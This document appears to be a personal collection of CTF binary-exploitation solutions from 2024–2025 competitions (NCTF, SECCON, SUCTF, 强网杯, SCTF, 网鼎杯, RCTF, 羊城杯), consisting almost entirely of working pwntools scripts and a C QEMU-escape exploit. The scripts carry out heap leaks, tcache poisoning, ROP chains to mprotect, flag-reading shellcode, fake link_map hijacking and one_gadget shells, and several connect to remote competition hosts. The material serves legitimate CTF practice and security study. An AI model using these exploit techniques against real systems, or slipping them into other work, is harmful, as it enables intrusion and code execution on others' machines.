NCTF 2024 - unauth-diary
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
# p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# gdb.attach(p, '')
# io = connect('localhost', 9999)
io = connect('39.106.16.204', 46968)
def create(length: int, content: bytes):
io.sendafter(b'> ', b'1\x00')
io.sendafter(b'length:\n', itob(length) + b'\x00')
io.sendafter(b'content:\n', content)
def erase(index: int):
io.sendafter(b'> ', b'2\x00')
io.sendafter(b'index:\n', itob(index) + b'\x00')
def modify(index: int, content: bytes):
io.sendafter(b'> ', b'3\x00')
io.sendafter(b'index:\n', itob(index) + b'\x00')
io.sendafter(b'content:\n', content)
def show(index: int):
io.sendafter(b'> ', b'4\x00')
io.sendafter(b'index:\n', itob(index) + b'\x00')
def exitit():
io.sendafter(b'> ', b'5\x00')
create(0x17, b'\n')
create(0x17, b'\n')
erase(0)
erase(1)
create(0x17, b'\n')
create(0x17, b'\n')
show(0)
io.recvuntil(b'Content:\n')
heap_a = u64(io.recv(8))
show(1)
io.recvuntil(b'Content:\n')
heap_b = u64(io.recv(8))
heap_base = (heap_a ^ heap_b) - 0x200
success(f'heap_base: 0x{heap_base:x}')
create(0x500, b'\n')
create(0x1, b'\n')
erase(2)
create(0x500, b'\n')
show(2)
io.recvuntil(b'Content:\n')
libc.address = u64(io.recv(8)) - 0x203b00
success(f'libc_base: 0x{libc.address:x}')
modify(2, asm(f"""
mov rax, 0x67616c662f2e
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
mov rax, __NR_read
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_sendto
mov rdi, 4
syscall
""") + b'\n')
create(-1, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
erase(5)
erase(6)
modify(4, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x41) + cyclic(56) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x41) + p64((libc.sym['environ'] - 0x28) ^ (heap_base >> 12)) + b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
show(6)
io.recvuntil(b'Content:\n')
io.recv(40)
stack_addr = u64(io.recv(8))
success(f'stack_addr: 0x{stack_addr:x}')
create(-1, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
erase(9)
erase(10)
modify(8, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x61) + cyclic(88) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x61) + p64((stack_addr - 552) ^ (heap_base >> 12)) + b'\n')
create(0x57, b'\n')
create(0x57, flat([
0,
libc.search(asm('pop rdi;ret')).__next__(),
heap_base,
libc.address + 0x000000000002b46b,
0x1000,
stack_addr - 496,
libc.address + 0x00000000000981ad,
7,
libc.sym['mprotect'],
heap_base + 0x340
]) + b'\n')
io.sendafter(b'> ', b'5\x00')
io.interactive()
# NCTF{126952df-8ac9-479d-a2dd-6a2d7affae00}
SECCON 2024 - BabyQEMU(复现)
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
struct PCIBabyDevReg {
off_t offset;
uint32_t data;
};
#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)
static volatile char *baby_mmio = NULL;
static void set_offset(off_t offset) {
*(volatile off_t *)&baby_mmio[MMIO_SET_OFFSET] = offset;
}
static void write_data32(off_t offset, uint32_t data) {
set_offset(offset);
*(volatile uint32_t *)&baby_mmio[MMIO_SET_DATA] = data;
}
static void write_data64(off_t offset, uint64_t data) {
write_data32(offset, (uint32_t)(data & 0xffffffff));
write_data32(offset + sizeof(uint32_t), (uint32_t)(data >> 32));
}
static uint32_t read_data32(off_t offset) {
set_offset(offset);
return *(volatile uint32_t *)&baby_mmio[MMIO_GET_DATA];
}
static uint64_t read_data64(off_t offset) {
return ((uint64_t)read_data32(offset)) +
(((uint64_t)read_data32(offset + sizeof(uint32_t))) << 32);
}
int main(void) {
int fd;
fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (fd == -1) {
perror("Failed to open resource file");
return EXIT_FAILURE;
}
baby_mmio =
(char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (baby_mmio == MAP_FAILED) {
perror("Failed to mmap MMIO region");
close(fd);
exit(EXIT_FAILURE);
}
uint64_t qemu_base = read_data64(0x170) - 8060784;
printf("[*] qemu_base: 0x%lx\n", qemu_base);
uint64_t buf_addr = read_data64(-8) - 5704;
printf("[*] buf_addr: 0x%lx\n", buf_addr);
uint64_t system_addr = read_data64(qemu_base + 26094904 - buf_addr);
printf("[*] system_addr: 0x%lx\n", system_addr);
write_data64(0x08, system_addr);
write_data64(0x10, system_addr);
write_data64(0x18, 0);
write_data64(0x20, 0);
write_data64(0x28, 2);
write_data64(0x30, 0);
write_data64(0x38, 0);
write_data64(0x40, 0);
write_data64(0x48, 0x400000001);
write_data64(0x50, 0);
write_data64(-3064, 'hs');
write_data64(-200, buf_addr + 8);
read_data64(0xdeadbeef); // PWN!
munmap((void *)baby_mmio, 0x1000);
close(fd);
exit(EXIT_SUCCESS);
}
SUCTF 2025 - msg_cfgd
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'])
# context.log_level = 'debug'
binary = './ASU1'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
def write_shellcode(io):
shellcode = b'H1\xffH\x89\xee\x0f\x05\xff\xe6'
io.sendlineafter(b': ', b'1')
io.sendlineafter(b': ', b'100')
io.sendafter(b': ', b'PwnRiK')
io.sendafter(b': ', shellcode)
def to_attack(io):
io.sendlineafter(b': ', b'8')
io.sendlineafter(b':', b'7')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), b'U' * 7 + b'\x00')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), b'I' * 7 + b'\x00')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), b'O' * 7 + b'\x00')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), b'P' * 7 + b'\x00')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), b'H' * 8)
io.sendafter('名称\n'.encode(), b'H' * 15)
# io.sendafter('内容\n'.encode(), b'J' * 8 + b'\x00')
io.sendafter('内容\n'.encode(), b'ff\x81\xc4\x06\x04\xff\xe4\x00')
io.sendafter('名称\n'.encode(), b'H' * 15)
io.sendafter('内容\n'.encode(), p64(0x400F56))
i = 1
while True:
print(i)
i += 1
io = connect('1.95.76.73', 10000)
# io = process(binary)
write_shellcode(io)
to_attack(io)
try:
io.recvuntil(b'opportunity')
except Exception:
io.close()
continue
break
context.log_level='debug'
# gdb.attach(io)
io.send(b'FEFEFEFEFEFE')
io.sendafter(b'?\n', p64(0x00000000004035cb))
shellcode = f"""
mov rax, 0x67616c662f
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""
io.send(asm(shellcode))
io.interactive()
强网杯 2024 - baby_heap
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './pwn'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# 0000: 0x20 0x00 0x00 0x00000004 A = arch
# 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
# 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
# 0005: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0009
# 0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009
# 0007: 0x15 0x01 0x00 0x00000101 if (A == openat) goto 0009
# 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 0009: 0x06 0x00 0x00 0x00000000 return KILL
# size == 1280(0x500) || size >= 1536(0x600)
def add(size: int):
p.sendlineafter(b'choice: \n', b'1')
p.sendlineafter(b'size \n', itob(size))
def delete(index: int):
p.sendlineafter(b'choice: \n', b'2')
p.sendlineafter(b'delete: \n', itob(index))
# 1 time
def edit(index: int, content: bytes):
p.sendlineafter(b'choice: \n', b'3')
p.sendlineafter(b'edit: \n', itob(index))
p.sendafter(b'content \n', content)
# 1 time
def show(index: int):
p.sendlineafter(b'choice: \n', b'4')
p.sendlineafter(b'show: \n', itob(index))
p.recvuntil(b'here \n')
def exp():
add(0x618)
add(0x1000)
add(0x628)
add(0x600)
delete(3)
add(0x638)
delete(1)
# pause()
show(3)
main_arena = u64(p.recvn(8))
p.recvn(8)
heap_addr = u64(p.recvn(8))
heap_base = heap_addr - 0x2580 - 0xa00
libc.address = main_arena - 2208080
success(f'libc_base: 0x{libc.address:x}')
success(f'heap_base: 0x{heap_base:x}')
fake_linkmap_addr = heap_base + 8064
shellcode = f"""
push 0x50
lea rax, [rsp - 0x60]
push rax
mov rax, 0x67616c662f
push rax
push __NR_openat2 ; pop rax
xor rdi, rdi
push rsp ; pop rsi
mov rdx, {heap_base + 0x4000}
push 0x18 ; pop r10
syscall
push rax
push __NR_readv ; pop rax
pop rdi
popf
push rsp ; pop rsi
push 1 ; pop rdx
syscall
push __NR_writev ; pop rax
push 1 ; pop rdi
syscall
"""
class link_map():
DT_PLTGOT = 3
DT_STRTAB = 5
DT_SYMTAB = 6
DT_FINI = 13
DT_DEBUG = 21
DT_JMPREL = 23
DT_FINI_ARRAY = 26
DT_FINI_ARRAYSZ = 28
DT_VERNUM = 50
def __init__(self, address: int = 0) -> None:
self.address: int = address
def l_addr(self):
return self.address
def l_info(self, tag):
return self.address + 0x40 + 8 * tag
def l_init_called(self):
return self.address + 0x31c
l = link_map(fake_linkmap_addr)
rop = cyclic(14 * 8) + flat([
libc.address + 0x5a120, # mov rsp, rdx; ret
libc.address + 0x5a120 + 3, # ret
libc.address + 0x2a3e5, # pop rdi; ret
heap_base + 0x2000,
libc.address + 0x2be51, # pop rsi; ret
0x1000,
libc.address + 0x11f2e7, # pop rdx; pop r12; ret
7,
0,
libc.sym['mprotect'],
heap_base + 9792
])
l_next_offset = 0x600
fake_linkmap = (flat({
0x0: 0, # l_addr
0x18: l.address + l_next_offset, # l_next
0x28: l.address, # l_real
#-------------------------- l_info --------------------------#
0x40 + l.DT_FINI_ARRAY * 8: l.address + 0x40,
0x40 + l.DT_FINI_ARRAYSZ * 8: l.address + 0x50,
#-------------------------- Elf64_Dyn --------------------------#
0x40: l.DT_FINI_ARRAY,
0x48: l.address + 0x500,
0x50: l.DT_FINI_ARRAYSZ,
0x58: 0x10 * 8,
0x31c: 0xff
}, filler=b'\x00').ljust(0x500, b'\x00') + rop).ljust(l_next_offset, b'\x00')
for i in range(4):
fake_linkmap += flat({
0x18: (l.address + l_next_offset + 0x30 * (i + 1)) if i != 3 else 0,
0x28: l.address + l_next_offset + 0x30 * i
}, filler=b'\x00')
fake_linkmap += asm(shellcode)
# print(hex(len(fake_linkmap)))
edit(2, fake_linkmap)
# p.interactive()
p.sendlineafter(b'choice: \n', b'0')
success('Data sent.')
# p.interactive()
# ld_libc_offset = int(input())
ld_libc_offset = 0x254000
p.sendafter(b'addr \n', p64(libc.address + ld_libc_offset + 0x3a040))
p.send(p64(fake_linkmap_addr))
p.sendlineafter(b'choice: \n', b'3')
success('Done.')
print(p.recvuntil(b'{'))
p.interactive()
i = 0
while True:
# p = connect('123.56.221.254', 34923)
p = process(binary)
# gdb.attach(p, 'set follow-fork-mode parent\nb _dl_fini\nb _dl_sort_maps')
print(i)
i += 1
try:
exp()
except Exception:
p.close()
continue
p.interactive()
强网杯 2024 决赛 - qvm
from pwn import *
context.terminal = ['konsole', '-e']
libc = ELF('./libc.so.6')
io = process('./pwn')
# io = connect('121.42.242.203', 9999)
gdb.attach(io)
LIBC_OFFSET = 0xf4300 - 1
def exp():
shellcode = '''
data binsh "/bin/sh"
_start:
cil {} 0
mov {} 1
sub 0 1
mov 1 {}
ods binsh
EOF
'''.format(
0x19d7e0 - libc.symbols['system'],
LIBC_OFFSET + 0x21a098 // 0x10,
LIBC_OFFSET + 0x21a098 // 0x10,
).strip().encode()
io.sendline(shellcode)
io.sendline("""
_start:
cil 10086 0
push 0
pop 0
pop 0
EOF
""")
io.interactive()
SCTF 2024 - factory
from pwn import *
from ctypes import *
context(os="linux", arch="amd64", terminal=["konsole", "-e"], log_level="debug")
binary = "./factory"
# p = process(binary)
p = remote('1.95.81.93', 57777)
e = ELF(binary)
libc = ELF('./libc.so.6')
# gdb.attach(p, "b *0x40148E")
# pause()
fake_rbp = 0x4040B0
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
leave = e.search(asm('leave; ret;')).__next__()
one_gadget = 0xe3b01
def sa(num, after):
p.sendlineafter(after, str(num).encode())
sa(40, b':')
for i in range(22):
sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(pop_rdi, '= ')
sa(e.got['puts'], '= ')
sa(e.plt['puts'], '= ')
sa(e.sym['main'], '= ')
for i in range(7):
sa(0, '= ')
p.recvuntil(b'\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')
sa(40, b':')
for i in range(22):
sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(one_gadget + libc_base, '= ')
for i in range(10):
sa(0, '= ')
p.interactive()
网鼎杯 2024 - pwn004
#!/usr/bin/python
from pwn import *
from ctypes import *
def rc4_init(key: bytes, box_size: int = 256) -> list[int]:
if type(key) == str:
key = key.encode()
s = list(range(box_size))
j = 0
key_length = len(key)
# Key scheduling algorithm (KSA)
for i in range(box_size):
# permit key is empty.
j = (j + s[i] + 0 if key_length == 0 else j + s[i] + key[i % key_length]) % box_size
# Swap s[i], s[j]
s[i], s[j] = s[j], s[i]
return s
def rc4_crypt(s: bytes, data: bytes, box_size: int = 256) -> bytes:
i, j = 0, 0
result = bytearray()
# Pseudo-random generation algorithm (PRGA)
for k in range(len(data)):
i = (i + 1) % box_size
j = (j + s[i]) % box_size
# Swap s[i], s[j]
s[i], s[j] = s[j], s[i]
t = (s[i] + s[j]) % box_size
result.append(data[k] ^ s[t])
return bytes(result)
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './pwn'
p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6')
gdb.attach(p, "set follow-fork-mode parent")
i = 1
# while True:
# p.sendlineafter(b':\n', b'\x00' + cyclic(i))
# if b'correct' in p.recvuntil(b'!'):
# break
# pause()
# i += 1
p.sendafter(b':\n', b'\n')
p.sendafter(b':\n', b'\n')
def add(index: int, size: int, content: bytes = b''):
p.sendlineafter(b'> \n', b'1')
p.sendlineafter(b': \n', str(index).encode())
p.sendlineafter(b': \n', str(size).encode())
p.sendlineafter(b': \n', content)
def show(index: int) -> bytes:
p.sendlineafter(b'> \n', b'2')
p.sendlineafter(b': \n', str(index).encode())
p.recvuntil(b',')
p.recvuntil(b',')
content = p.recvuntil(b']', drop=True)
s = rc4_init(b's4cur1ty_p4ssw0rd')
return rc4_crypt(s, content)
def delete(index: int):
p.sendlineafter(b'> \n', b'3')
p.sendlineafter(b': \n', str(index).encode())
def edit(index: int, content: bytes):
p.sendlineafter(b'> \n', b'4')
p.sendlineafter(b': \n', str(index).encode())
p.sendlineafter(b': \n', content)
add(0, 0x40)
delete(0)
delete(0)
heap_base = (((u64(show(0)[0:8]) >> 12) - 1) << 12)
success(hex(heap_base))
delete(0)
add(1, 0x80)
add(1, 0x300)
add(2, 0x300)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
libc.address = u64(show(1)[0:8]) - 4111520
success(hex(libc.address))
s = rc4_init(b's4cur1ty_p4ssw0rd')
edit(0, rc4_crypt(s, p64(libc.address + 4118760).ljust(0x30, b'\x00')))
add(2, 0x40)
s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x40, rc4_crypt(s, p64(libc.address + 336005).ljust(0x30, b'\x00')))
s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x200, rc4_crypt(s, cyclic(0x200))) # 假栈底在这个堆块
add(1, 0x200, cyclic(0xa0) + p64(heap_base + 5744) + p64(libc.search(asm('ret')).__next__()))
delete(1)
p.interactive()
RCTF 2024 - mine
from pwn import*
context.log_level = 'debug'
io = remote('123.60.161.30', 10088)
# io = process('./run.sh')
io.sendline(b'A'*0x10)
io.sendline(b'0 0 U')
io.sendline(b'1\n1\n1')
for i in range(16*15):
io.recvuntil(b']:')
io.sendline(b'y a')
io.recvuntil(b']:')
io.sendline(b'y \xb0')
io.recvuntil(b']:')
io.sendline(b'y \x14')
io.recvuntil(b']:')
io.sendline(b'y \x01')
io.recvuntil(b']:')
io.sendline(b'y \x00')
for i in range(4):
io.recvuntil(b']:')
io.sendline(b'y b')
for i in range(8):
io.recvuntil(b']:')
io.sendline(b'y B')
io.interactive()
羊城杯 2024 - pstack
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
p = connect('139.155.126.78', 33760)
libc = ELF('./libc.so.6')
# gdb.attach(p)
# pause()
puts_addr = 0x400520
puts_got_addr = 0x600FC8
vuln_addr = 0x4006B0
pop_rdi = 0x400773
leave = 0x4006db
fake_stack = 0x3FE2C0
pop_rbp = 0x4005b0
fake_stack2 = 0x3fe300
p.sendafter(b'?\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4))
p.sendafter(b'?\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vuln_addr + 4) + p64(0) + p64(fake_stack) + p64(leave))
puts = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base_addr = puts - libc.sym['puts']
print(hex(libc_base_addr))
bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__()
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__()
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__()
execve = libc_base_addr + libc.symbols['execve']
pop_r12_r13 = libc_base_addr + 0x41c48
one_gadget = libc_base_addr + 0xebce2
# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
p.sendafter(b'?\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadget) + p64(execve) + p64(fake_stack2) + p64(leave))
p.interactive()